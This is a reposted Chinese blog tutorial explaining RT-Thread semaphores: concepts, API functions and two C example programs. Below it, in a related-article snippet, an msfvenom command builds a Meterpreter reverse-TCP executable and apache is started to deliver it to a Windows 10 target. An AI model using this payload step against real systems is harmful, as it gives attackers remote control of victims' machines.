RT-Thread信号量

news/2024/4/30 4:42:12/文章来源:https://blog.csdn.net/qq_43460068/article/details/127112499

目录

信号量

信号量基本概念

信号量基本概念

信号量的特性

二值信号量的运作机制

计数型信号量的运作机制

 信号量相关接口

信号量控制块、

创建信号量

删除信号量

初始化信号量

脱离信号量

释放信号量

获取信号量

无等待获取信号量

使用场合

线程同步

 中断与线程的同步

资源计数

信号量实验的代码和流程分析

个人总结:


信号量

信号量是一种轻型的用于解决线程间同步问题的内核对象,线程可以获取或释放它,从而达到同步或互斥的目的。信号量就像一把钥匙,把一段临界区给锁住,只允许有钥匙的线程进行访问,线程拿到了钥匙,才允许它进入临界区;而离开后把钥匙传递给排队在后面的等待线程,让后续线程依次进入临界区。

信号量工作示意图,每个信号量对象都有一个信号量值和一个线程等待队列,信号量的值对应了信号量对象的实例数目、资源数目,假如信号量值为5,则表示共有5个信号量实例(资源)可以被使用,当信号量实例数目为0时,再申请该信号量的线程就会被挂在该信号量的等待队列上,等待可用的信号量实例(资源)。

信号量基本概念

同志们,回想一下,在裸机编程中这样使用过一个变量,用于标记某个事件是否发生,或者标志一下某个东西是否正在被使用,如果是被占用了的或者没发生的,我们就不对它进行操作。

信号量基本概念

信号量(semaphore)是一种实现线程间通信的机制,实现线程之间同步或临界资源的互斥访问,常用于协助一组相互竞争的线程来访问临界资源。在多线程系统中,各线程之间需要同步或互斥实现临界资源的保护,信号量功能可以为用户提供这方面支持。

通常一个信号量的计数值用于对应有效的资源数,表示剩下的可能被占用的资源互斥数。其值的含义分为两种情况:

  • 0:表示没有积累下来的release释放信号量操作,且有可能有在此信号量上阻塞的线程。
  • 正值:表示有一个或者多个release释放信号量的操作。

以同步为目的的信号量和以互斥为目的的信号量在使用有如下不同:

  • 用作互斥时,信号量创建之后可用信号量个数应该是满的,线程在需要使用临界资源时,先获取信号量,使其变空,这样其他线程需要使用临界资源时就会因为无法获取信号量而进入阻塞,从而保证了临界资源的安全。但是这样子有一个缺点就是有可能产生优先级反转,优先级反转的危害在互斥量中会详细说明。
  • 用作同步时,信号量在创建后被置为空,线程1取信号量而阻塞,线程2在某种条件发生后,释放信号量,于是线程1得以进入就绪态,如果线程1的优先级是最高的,那么就会立即切换线程,从而达到了两个线程的同步。同样的,在中断服务函数中释放信号量,也能达到线程与中断的同步。

在操作系统中,我们使用信号量的目的是为了给临界资源建立一个标志,信号量表示了该临界资源被占用的情况。这样,当一个线程在访问临界资源的时候,就会先对这个资源信息进行查询,从而在了解资源被占用的情况之后,再做处理,从而使得临界资源得到有效的保护。

还记得我们经常说的中断要快进快出吗,在裸机开发中我们经常是在中断中做一个标志,然后在退出的时候进行轮询处理,这个就是类似我们使用信号量进行同步的,当标记发生了,我们再做其他事情。在RT-Thread我们使用信号量用作同步,线程与线程的同步,中断与线程的同步,可以大大提高效率。

信号量还有计数型信号量,计数型信号量是允许多个线程对其进行操作,但限制了线程的数量。比如有一个停车场,里面只有100个车位,那么能停的车只有100辆,也就相当于我们的信号量有100个,假如一开始停车场的车位还有100个,那么每进去一辆车就要消耗一个停车位,车位的数量就要减一,对应的,我们的信号量在使用之后也需要减1,当停车场停满了100辆车的时候,此时的停车位为0,再来的车就停不进去了,否则将造成交通事故,也相当于我们的信号量为0,后面的线程对这个停车场资源的访问也无法进行,当有车从停车场离开的时候,车位又空余出来了,那么后面的车就能停进去了,在我们的信号量的操作也是一样的,当我们释放了这个资源,后面的线程才能对这个资源进行访问。

信号量的特性

信号量的常规操作

信号量这个名字很恰当:

  • 信号:起通知作用
  • 量:用来表示资源的数量
  • 支持的动作:“give”给出资源,计数值加1:“take”获得资源,计数值减1

信号量的典型应用场景是:

  • 计数:生产者“give”信号量,让计数值加1,消费者先“take”信号量,就是获得信号量,让计数值减1
  • 资源管理:想要访问资源需要先“take”信号量,让计数值减1,用完资源后“give”信号量,让计数值加1

信号量的give、take双方并不需要相同,可以用于生产者-消费者场合:

  • 生产者为线程A、B,消费者为线程C、D
  • 一开始信号量的计数值为0,如果线程C、D想获得信号量,会有两种结果:
    • 阻塞:买不到东西咱就等等吧,可以定个闹钟(超时时间)
    • 即刻返回失败,不等
  • 线程A、B可以生产资源,就是让信号量的计数值加1,并且把等待这个资源的线程唤醒
  • 唤醒谁?有两种办法。创建信号量时,可以指定一个参数flag
    • RT_IPC_FLAG_PRIO:表示先唤醒优先级最高的等待线程
    • RT_IPC_FLAG_FIFO:表示先唤醒等待时间最长的等待线程

  信号量和消息队列的对比

    消息队列       信号量

可以容纳多个数据,创建队列时有2部分内存:

队列结构体,存储数据的空间

只有计数值,无法容纳其他数据。创建信号量时,只需要分配信号量结构体
生产者:没有空间存入数据时可以阻塞生产者:不阻塞,只要计数值没超过0xffff都会成功
消费者:没有数据时可以阻塞消费者:没有资源时可以阻塞

二值信号量的应用场景

只有0和1两种情况的信号量称之为二值信号量

在线程系统中,我们经常会使用这个二值信号量,比如,某个线程需要等待一个标记,那么线程可以在轮询中查询这个标记有没有被置位,这样子做,就会很浪费CPU的资源,其实根本不需要在轮询中查询这个标志,只需要使用二值信号量即可,当二值信号量没有的时候,线程进入阻塞态等待二值信号量的到来即可,当得到了这个信号量标记之后,在进行线程的处理即可,这样子就不会消耗太多资源,而且实时响应也是最快的。

二值信号量的运作机制

创建二值信号量,为创建的信号量对象分配内存,并把可用信号量初始化为用户定义的个数,二值信号量的最大可用信号量个数为1.

信号量获取,从创建的信号量资源中获取一个信号量,获取成功返回正确,否则线程会等待它线程释放该信号量,超时时间由用户设定,当线程获取信号量失败时,线程将进入阻塞态,系统将线程挂到该信号量的阻塞列表中。

在二值信号量无效的时候,假如此时有线程获取该信号量的话,那么线程将进入阻塞态。

加入某个时间中断/线程释放了信号量,其过程具体见下图,那么由于获取无效信号量而进入阻塞态的线程将获得信号量并且恢复为就绪态,其过程如下图

计数型信号量的运作机制

计数型信号量和二值信号量是差不多的,一样用于资源保护,不过计数信号量则允许多个线程获取信号量访问共享资源,但会限制线程的最大数目。访问的线程数目到达信号量可支持的最大数目时,会阻塞其他试图获取该信号量的线程,直到有线程释放了信号。这就是计数型信号量的运作机制,虽然计数信号零允许多个线程访问同一个资源,但是也有限定,比如某个资源限定只能有3个线程访问,那么第4个线程访问的时候,会因为获取不到信号量而进入阻塞态,等到有线程(比如线程1) 释放掉该资源的时候,第4个线程才能获取到信号量从而进行资源的访问,其运作机制具体见计数信号量的运作示意图。

 信号量相关接口

信号量控制块、

struct rt_semaphore
{struct rt_ipc_object parent;                        /**< inherit from ipc_object */rt_uint16_t          value;                         /**< value of semaphore. */
};
typedef struct rt_semaphore *rt_sem_t;

rt_semaphore对象从rt_ipc_object中派生,由IPC容器管理,信号量的最大值是65535.

创建信号量

rt_sem_t rt_sem_create(const char *name, rt_uint32_t value, rt_uint8_t flag)

当创建一个信号量时,内核首先创建一个信号量控制块,然后对该控制块进行基本的初始化工作,创建信号量使用上面的函数接口。

当调用这个函数时,系统将先分配一个semaphore对象,并初始化这个对象,然后初始化IPC对象以及与semaphore相关的部分,在创建信号量指定的参数中,信号量标志参数决定了当信号量不可用的时候,多个线程的等待方式,当选择FIFO方式时,那么等待线程队列将按照先进先出的方式排队,先进入的线程将先获得等待的信号量,当选择PRIO(优先级等待)的方式时,等待线程队列将按照优先级进行排队,优先级高的等待线程将优先获得等待的信号量。

函数参数

参数描述

name

value

flag

信号量名称

信号量初始值

信号量标志,取值可以用如下类型

#define RT_IPC_FLAG_FIFO 0x00    /*IPC参数采用FIFO方式*/
#define RT_IPC_FLAG_PRIO 0x01    /*IPC参数采用优先级方式*/

删除信号量

调用这个函数时,系统将删除这个信号量。如果删除信号量时,有线程正在等待该信号量,那么删除操作会先唤醒等待在该信号量上的线程上(等待线程的返回值是-RT_ERROR),然后再释放信号量的内存资源。

rt_err_t rt_sem_delete(rt_sem_t sem)

初始化信号量

对于静态信号量对象,它的内存空间在编译时就被编译器分配出来,放在数据段或ZI段上,此时使用信号量就不再需要使用rt_sem_create接口来创建它,而只需要在使用前对它进行初始化即可。初始化信号量对象可用下面的接口:

rt_err_t rt_sem_init(rt_sem_t    sem,const char *name,rt_uint32_t value,rt_uint8_t  flag)

当调用这个函数时,系统将首先对这个semaphore对象进行初始化,然后初始化IPC对象以及与semaphore相关的部分。区别和动态创建信号量的区别就是内存是否是动态分配的。

脱离信号量

脱离信号量就是让信号量对象从内核对象管理器中移除掉。脱离信号量使用下面的函数接口:

rt_err_t rt_sem_detach(rt_sem_t sem)

使用该函数后,内核先唤醒所有挂在该信号量的等待队列上的线程,然后将该信号量从内核对象管理器中删除。原来挂起在信号量上的等待线程将获得-RT_ERROR的返回值。

释放信号量

当线程释放完资源的访问后,应尽快的释放它持有的信号量,使得其他线程能获得该信号量。释放信号量使用下面的函数接口:

rt_err_t rt_sem_release(rt_sem_t sem)

当信号量的值等于0时,并且有线程等待这个信号量时,将唤醒等待在该信号量线程队列中的第一个线程,由他获取信号量。否则将信号量的值加一。

获取信号量

线程通过获取信号量来获得信号量资源实例,当信号量值大于0时,线程将获得信号量,并且相应的信号量值都会减1,获取信号量使用下面的函数接口:

rt_err_t rt_sem_take(rt_sem_t sem, rt_int32_t time)

在调用这个函数时,如果信号量的值等于0,那么说明当前信号量的资源实例不可用,申请该信号量的线程将根据time参数的情况选择直接返回、或挂起等待一段时间,或永久等待直到其他线程或中断释放该信号量。如果在参数time指定的时间内依然得不到信号量,线程将超时返回,返回值是-RT_ETIMEOUT。

无等待获取信号量

当用户不想在申请的信号量上挂起线程等待的时候,可以使用无等待的方式获取信号量,无等待获取信号量使用下面的函数接口:本质上还是调用上面的函数接口,只是把time直接设置为0而已。

rt_err_t rt_sem_trytake(rt_sem_t sem)
{return rt_sem_take(sem, 0);
}

使用场合

信号量是一种非常灵活的同步方式,可以运用在多种场合中。形成锁,同步,资源计数等关系,也能方便的用于线程与线程,中断与线程的同步中。

线程同步

线程同步是信号量最简单的一类应用。例如,两个线程用来进行任务间的执行控制转移,信号量的值初始化成具备0个信号量资源实例,而等待线程先直接在这个信号量上进行等待。当信号线程完成它处理的工作时,释放这个信号量,以把等待在这个信号量上的线程唤醒,让它执行下一部分工作。这类场合也可以看成把信号量用于工作完成的标志;信号线程完成他自己的工作,然后通知等待线程继续下一部分工作。

锁,单一的锁常用于多个线程间对同一临界区的访问。信号量在作为锁来使用时,通常应将信号量资源实例初始成1,代表系统默认有一个资源可用。当线程需要访问临界资源时,它需要先获得这个资源锁。当这个线程成功获得资源锁时,其他打算访问临界区的线程将被挂在该信号量上,这是因为其他线程在试图获取这个锁时,它将会释放信号量并把锁解开,而挂起在锁上的第一个等待线程将被唤醒从而获得临界区的访问权。

因为信号量的值始终在1和0之间变动,所以这类锁也叫做坐二值信号量。如锁所示:

 中断与线程的同步

信号量也能够方便的应用于中断与线程间的同步,例如一个中断触发,中断服务例程需要通知线程进行相应的数据处理。这个时候可以设置信号量的初始值是0,线程在试图持有这个信号量时,由于信号量的初始值是0,线程直接在这个信号量上挂起直到信号量被释放。当中断触发时,先进行与硬件相关的动作,例如从硬件的I/O口中直接读取相应的数据,并确认中断以清除中断源,而后释放一个信号量来唤醒相应的线程以做后续的处理。例如finsh shell线程的处理方式,如图finsh shell的中断、线程间同步所示:

警告:中断与线程间的互斥不能采用信号量(锁)的方式,而应采用中断锁。

资源计数

资源计数适合于线程间速度不匹配的场合,这个时候信号量可以作为前一线工作完成的计数,而当调度到后一线程时,它可以以一种连续的方式一次处理数个事件。例如生产者与消费者的问题中,生产者可以对信号进行多次释放,而后消费者被调度到时能够一次处理多个资源。

注:一般资源计数类型多是混合方式的线程间同步,因为对于单个的资源处理依然存在线程的多重访问,这就需要对一个单独的资源进行访问、处理,并进行锁方式的互斥操作。

信号量实验的代码和流程分析

/**
信号量例程
程序内容:创建一个动态信号量,初始化两个线程,线程1在count每计数10次
发送一个信号量,线程2在接收信号量后,对number进行加1操作
*/#include <rtthread.h>#define THREAD_PRIORITY   	20	
#define THREAD_STACK_SIZE 	512
#define THREAD_TIMESLICE	30#define  s	1
/*计数型信号量实验*/
#ifdef s
static rt_sem_t dynamic_sem = RT_NULL;ALIGN(RT_ALIGN_SIZE)
static rt_uint8_t thread1_stack[512];
static struct rt_thread thread1;/*释放信号量,每10次释放一次信号量,计数100后线程执行完成退出*/
static void thread1_entry(void *parameter)
{static rt_uint8_t count = 0;while(1){if(count<100){count++;}else return;if(count%10 == 0)		/*每10次释放一次信号量*/{rt_kprintf("thread1 release a dynamic semaphore.\n");rt_sem_release(dynamic_sem);}}}ALIGN(RT_ALIGN_SIZE)
static rt_uint8_t thread2_stack[512];
static struct  rt_thread thread2;/*获取信号量*/
static void thread2_entry(void *parameter)
{static rt_err_t result;static rt_uint8_t number = 0;while(1){result = rt_sem_take(dynamic_sem,RT_WAITING_FOREVER);  /*获取信号量*/if(result == RT_EOK){number++;rt_kprintf("thread2 take a dynamic semaphore, number = %d\n",number);}else{rt_kprintf("thread2 take a dynamic semaphore failed\n");rt_sem_delete(dynamic_sem);return;}}}int sem_sample(void)
{rt_err_t result;/*动态创建信号量*/dynamic_sem  = rt_sem_create("dynamic_sem",		0,RT_IPC_FLAG_FIFO);if(dynamic_sem != RT_NULL){rt_kprintf("信号量创建成功!\n");}/*创建释放信号量线程1*/result = rt_thread_init(&thread1,"thread1",thread1_entry,RT_NULL,&thread1_stack[0],sizeof(thread1_stack),THREAD_PRIORITY,THREAD_TIMESLICE);if(result == RT_EOK)rt_thread_startup(&thread1);	/*启动线程1*//*创建获取信号量线程2*/result = rt_thread_init(&thread2,"thread2",thread2_entry,RT_NULL,&thread2_stack[0],sizeof(thread2_stack),THREAD_PRIORITY,THREAD_TIMESLICE);if(result == RT_EOK)rt_thread_startup(&thread2);  /*启动线程2*/return 0;
}#else
/*二值信号量同步实验*/static rt_thread_t receive_thread = RT_NULL;
static rt_thread_t send_thread = RT_NULL;static rt_sem_t test_sem = RT_NULL;rt_uint8_t ucvalue[2] = {0x00,0x00};static void receive_thread_entry(void *parameter)
{while(1){rt_sem_take(test_sem,RT_WAITING_FOREVER);if(ucvalue[0] == ucvalue[1]){	rt_kprintf("同步成功!\n");rt_kprintf("ucvalue[0] = %d,ucvalue[1] = %d\n",ucvalue[0],ucvalue[1]);}elsert_kprintf("同步失败!\n");rt_sem_release(test_sem);rt_thread_delay(100);}}static void send_thread_entry(void *parameter)
{while(1){rt_sem_take(test_sem,RT_WAITING_FOREVER);ucvalue[0]++;rt_kprintf("ucvalue[0] = %d\n",ucvalue[0]);rt_thread_mdelay(100);ucvalue[1]++;rt_kprintf("ucvalue[1] = %d\n",ucvalue[1]);rt_sem_release(test_sem);rt_thread_yield();}}int sem_sample(void)
{test_sem = rt_sem_create("test_sem",1,RT_IPC_FLAG_FIFO);if(test_sem!= RT_NULL)rt_kprintf("信号量创建成功!\n");receive_thread = rt_thread_create("receive_thread",receive_thread_entry,RT_NULL,THREAD_STACK_SIZE,THREAD_PRIORITY,THREAD_TIMESLICE);if(receive_thread!=RT_NULL)rt_thread_startup(receive_thread);send_thread = rt_thread_create("send_thread",send_thread_entry,RT_NULL,THREAD_STACK_SIZE,THREAD_PRIORITY,THREAD_TIMESLICE);if(send_thread != RT_NULL)rt_thread_startup(send_thread);return 0;
}#endifMSH_CMD_EXPORT(sem_sample,sem_sample);

个人总结:

信号量是一种轻型的用于解决线程间同步问题的内核对象,线程可以获取或释放它,从而达到同步或互斥的目的。信号量就像一把钥匙,把一段临界区给锁住,只允许有钥匙的线程进行访问,线程拿到了钥匙,才允许它进入临界区,而离开后把钥匙传递给排队在后面的等待线程,让后续线程一次进入临界区。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_17642.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单片机控制发光二极管的显示(2)

我们今天来说说单片机是如何控制发光二极管的。 如果P0口作为通用I/O使用,由于漏极开路&#xff0c;需要外接上拉电阻&#xff0c;而P1~P3口内部已有30k0左右的上拉电阻。下面来讨论PI~P3口如何与LED发光二极管的驱动连接问题。 使用单片机的并行端口P1 ~P3直接驱动发光二极管&…

创新实践 | SaaS增长新趋势:产品驱动增长PLG(下)

SaaS产品增长第一步&#xff0c;一定是找方向&#xff0c;SaaS产品的北极星指标处于商业目标&#xff0c;用户价值&#xff0c;和战略选择的交点上&#xff0c;且一般落实在功能使用量上。与To C产品的AARRR略有不同&#xff0c;To B SaaS产品驱动增长包含六大杠杆&#xff0c;…

java基于springboot+vue的新冠肺炎疫苗接种管理系统 element

新冠肺炎疫苗接种管理系统的开发运用springboot技术,MIS的总体思想,以及MYSQL等技术的支持下共同完成了该系统的开发,实现了新冠肺炎疫苗接种管理的信息化,使用户体验到更优秀的新冠肺炎疫苗接种管理系统,管理员管理操作将更加方便,实现目标。 环境需要 1.运行环境&#xff1a…

LVC | 一种简单的小样本目标检测方法

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文解读一下 Label, Verify, Correct (LVC)&#xff1a;一种简单的小样本目标检测方法。 本文的目标是小样本目标检测 (FSOD)&#xff0c;即在给定少量训练实例的…

谷歌翻译 失效/无法使用方法

谷歌2022年9月26日左右停止了在中国地区的谷歌翻译服务包含 translate.google.cn 与 translate.googleapi.com&#xff0c;其给出原因为“使用量低” 来源 techcrunch 在论坛中找到了前段时间谷歌翻译工作人员回复&#xff0c;翻译成中文csdn说辱华&#xff0c;不给通过 这个回…

msf win10系统攻击

kali ip 192.168.141.129 windwos10 192.168.141.128 一、木马生成 msfvenom -p windows/meterpreter/reverse_tcp LHOST本机ip LPORT本机端口 -f exe > shell.exe //保存到跟目录 二、开启apach服务 service apache2 start 查看状态 ervice apache2 status 接下来把我…

java基于SpringBoot+Vue+nodejs的个人家庭理财记账本管理系统 element

家庭理财记账系统主要是为了提高用户的工作效率和更方便快捷的满足用户,更好存储所有数据信息及快速方便的检索功能,对家庭理财记账系统的各个模块是通过许多今天的发达家庭理财记账系统做出合理的分析来确定考虑用户的可操作性,遵循开发的系统优化的原则,经过全面的调查和研究…

接收节点无线广播发送的数据,并printf打印出来(含核心代码)_物联网挑战赛第四届第一题

目录 题目 赛题 格式说明 计分规则 评分步骤 题目解析 右上角节点代码解析 其余11个节点代码解析 比赛时的思考 具体解析 核心代码 右上角节点代码 其余11个节点代码 题目 赛题 数据广播节点—> 如图所示&#xff0c;平台节点不安装天线&#xff0c;12 个节点 …

详解库存监控 到货提醒步骤

首先看看具体监控效果&#xff0c;在浏览器的书签栏增加一个库存监控提醒的按钮&#xff0c;点击该按钮即启动库存监控提醒项目。 项目运行时&#xff0c;自动打开指定的网址&#xff0c;并从事先准备好的txt文件中读取型号&#xff0c;输入到页面上的型号搜索框中&#xff0c…

java基于springboot+element的实现医院预约挂号系统 nodejs

网络的广泛应用给生活带来了十分的便利。所以把医院预约挂号管理与现在网络相结合,利用java技术建设医院预约挂号系统,实现医院预约挂号的信息化。则对于进一步提高医院预约挂号管理发展,丰富医院预约挂号管理经验能起到不少的促进作用。 医院预约挂号系统能够通过互联网得到广…

OPENCV的GUI特性:图像入门

我们先来理解一下什么是GUI特性&#xff1b;一起来学习摘自百度词条的信息&#xff1a; 图形用户界面&#xff08;Graphical User Interface&#xff0c;简称 GUI&#xff0c;又称图形用户接口&#xff09;是指采用图形方式显示的计算机操作用户界面。 图形用户界面是一种人与…

模块化:AMD规范

之前在《模块化&#xff1a;CommonJS规范》文中对CMD规范进行了介绍&#xff0c;并给出了服务端和浏览器端基于CommonJS模块化规范构建项目和模块化开发的示例demo。严格来讲&#xff0c;CommonJS这种模块化规范更加适用于服务器端编程&#xff0c;由于是同步的加载方式&#x…

ElasticSearch_02_ElastisSearch的基本语法使用

系列文章目录 文章目录系列文章目录前言一、基本语法使用1.1 _search接口获取所有数据1.2 文档操作插入文档查询文档修改文档查询所有的索引和查询所有的数据删除文档二、各种各样的查询条件2.1 查询所有2.2 值匹配和输出结构按price倒序输出2.3 仅输出需要的数量2.4 仅输出需要…

论文(一):Revisiting multiple instance neural networks

Revisiting multiple instance neural networks 回顾多示例神经网络 1、Abstract ​ 近年来&#xff0c;神经网络和多实例学习(MIL)都是人工智能相关研究领域的热门课题。深度神经网络在监督学习问题上取得了巨大的成功&#xff0c;而MIL作为一种典型的弱监督学习方法&#…

J2EE 知识点总结_上

J2EE 知识点总结_上基础概念数组选择排序 &#xff1a;交换排序 &#xff1a;插入排序面向对象重载&#xff08;**Overload**&#xff09;的概念构造器的作用&#xff1a;JavaBean多态性instanceof 操作符操作符与equals方法&#xff1a;包装类(Wrapper)的使用垃圾回收机制关键…

RLE算法机制、缺点及哈夫曼算法和莫尔斯编码

CSDN话题挑战赛第2期 参赛话题&#xff1a;学习笔记 目录 一、RLE算法机制 二、RLE算法的缺点 三、哈夫曼算法和莫尔斯编码 一、RLE算法机制 对 AAAAAABBCDDEEEEEF 这17个半角字符的文件&#xff08;文本文件&#xff09;进行压缩。虽然这些文字没有什么实际意义&#xff0…

Spring源码分析(三)Bean生命周期源码解析1:扫描生成BeanDefinition

Spring最重要的功能就是帮助程序员创建对象&#xff08;也就是IOC&#xff09;&#xff0c;而启动Spring就是为创建Bean对象做准备&#xff0c;如果先分析Spring启动过程的源码&#xff0c;会比较难理解&#xff0c;因为你可能不知道为什么要做这些准备动作&#xff0c;所以我们…

Shiro知识总结二

3. 与 Spring Boot 整合 3.1 框架整合 依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><dependency><groupId>o…

java基于springboot+vue+nodejs的高校学生健康档案管理系统 element

随着信息技术和网络技术的飞速发展,人类已进入全新信息化时代,传统管理技术已无法高效,便捷地管理信息。为了迎合时代需求,优化管理效率,各种各样的管理系统应运而生,各行各业相继进入信息管理时代,高校学生健康档案管理系统就是信息时代变革中的产物之一。 在经济快速发展的带…

快速玩转Yolov5目标检测—没有好的显卡也能玩(二)

上篇 快速玩转Yolov5目标检测—没有好的显卡也能玩&#xff08;一&#xff09; 已经将YoloV5在我的笔记本电脑上快速跑起来了&#xff0c;因为电脑显卡一般&#xff0c;所以运行的CPU版本&#xff0c;从推理结果来看&#xff0c;耗时还是蛮高的&#xff0c;如下图&#xff0c;…